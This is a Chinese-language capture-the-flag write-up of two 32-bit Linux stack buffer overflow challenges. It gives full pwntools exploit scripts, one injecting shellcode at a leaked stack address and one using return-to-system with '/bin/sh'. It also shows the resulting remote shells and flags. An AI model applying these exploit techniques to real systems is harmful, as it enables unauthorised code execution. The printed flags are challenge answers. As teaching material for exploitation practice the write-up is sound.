level1
先使用checksec查询一下这个保护机制没有开启任何保护
[*] '/home/sun/Desktop/1'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE (0x8048000)
RWX: Has RWX segments
将这个文件拖进ida里观察一下是否有漏洞
main函数
int __cdecl main(int argc, const char **argv, const char **envp)
{
vulnerable_function();
write(1, "Hello, World!\n", 0xEu);
return 0;
}
vulnerable_function函数
ssize_t vulnerable_function()
{
char buf; // [esp+0h] [ebp-88h]
printf("What's this:%p?\n", &buf);
return read(0, &buf, 0x100u);
}
观察到漏洞点read函数可以溢出,从这个文件的保护机制可以看出可以在栈中执行,因此可以在栈中构造shellcode然后执行,这个printf函数会将buf的地址泄露出来,可以使这个当成shellcode的起始地址,下面开始构造shellcode
from pwn import *
p=remote("pwn2.jarvisoj.com",9877)
buf_addr=(p.recv())[12:-2]
print buf_addr
shellcode=asm(shellcraft.sh())
sh_len=len(shellcode)
payload=shellcode+'a'*(0x88+4-sh_len)+p32(int(buf_addr,16))
p.sendline(payload)
p.interactive()
sun@ubuntu:~/Desktop$ python 1.py
[+] Opening connection to pwn2.jarvisoj.com on port 9877: Done
0xffab5120
[*] Switching to interactive mode
$ ls
flag
level1
$ cat flag
CTF{82c2aa534a9dede9c3a0045d0fec8617}
$
level2
查看保护机制
[*] '/home/sun/Desktop/222'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
开启了栈中不能执行
这个文件的代码和上一个一样,但是开启了栈中不能执行的保护机制,因此我们不能使用上一个方法进行解决。
解决方法:
可以将vulnerable_function的返回设置为system的函数地址,来让接下来执行system函数,我们知道system有一个参数,因此还需要构造一个参数,如果构造system函数的话这个函数还应该有一个返回地址,这个返回地址就像vulnerable_function这个函数一样,表示执行完system后应该执行哪一个指令,因此在system和参数之间还应该有一个返回地址,这个返回地址我们可以任意构造的,因为当执行system函数后便getshell了,根本不需要考虑这个函数的返回。
下面便是这个payload
payload=‘a’*0x88+‘AAAA’+p32(sys_addr)+p32(1)+p32(binsh_addr)
‘a’*0x88表示覆盖栈中的内容,‘AAAA’表示覆盖ebp寄存器存储在栈中的内容,p32(1)表示system函数的返回地址,可以任意构造,p32(binsh_addr)表示/bin/sh字符串,这个字符串在程序中有,因此可以直接搜索处这个字符串。
from pwn import *
elf=ELF("./222")
sys_addr=elf.symbols['system']
binsh_addr=elf.search('/bin/sh').next()
payload='a'*0x88+'AAAA'+p32(sys_addr)+p32(1)+p32(binsh_addr)
p=remote("pwn2.jarvisoj.com",9878)
p.sendline(payload)
p.interactive()
sun@ubuntu:~/Desktop$ python 222.py
[*] '/home/sun/Desktop/222'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
[+] Opening connection to pwn2.jarvisoj.com on port 9878: Done
[*] Switching to interactive mode
Input:
$ ls
flag
level2
$ cat flag
CTF{1759d0cbd854c54ffa886cd9df3a3d52}
$
这两个题都是最基本的32位的linux的漏洞程序
需要注意的点
- 首先查看保护机制,根据不同的保护机制来进行构造不同的payload
- 在linux 32位的程序中,传递参数值将参数放入栈中的,当传递的是字符串时表示将这个字符串的地址放入栈中。
- 当将一个函数的返回覆盖成另一个函数的地址时需要将这个地址的上面一个位置当成这个函数的返回地址,再上面还有这个函数的参数,当有三个参数时eg:a,b,c这三个参数的入栈次序为c,b,a,即a在最下方
- 可以使用pwntools里面自带的功能来构造shellcode。eg:shellcode=asm(shellcraft.sh())
- 在栈中存储数字时需要使用p32或者p64进行转换eg:0x123456在栈中从高地址向低地址的存储为56,34,12,因为这是16进制的因此两个一组,当存储字符串时:eg:‘admin’在栈中从高地址向低地址的存储为n,i,m,d,a。
- 使用ELF加载程序和process,remote加载程序是不同的,ELF是静态加载的,后面两种是动态的。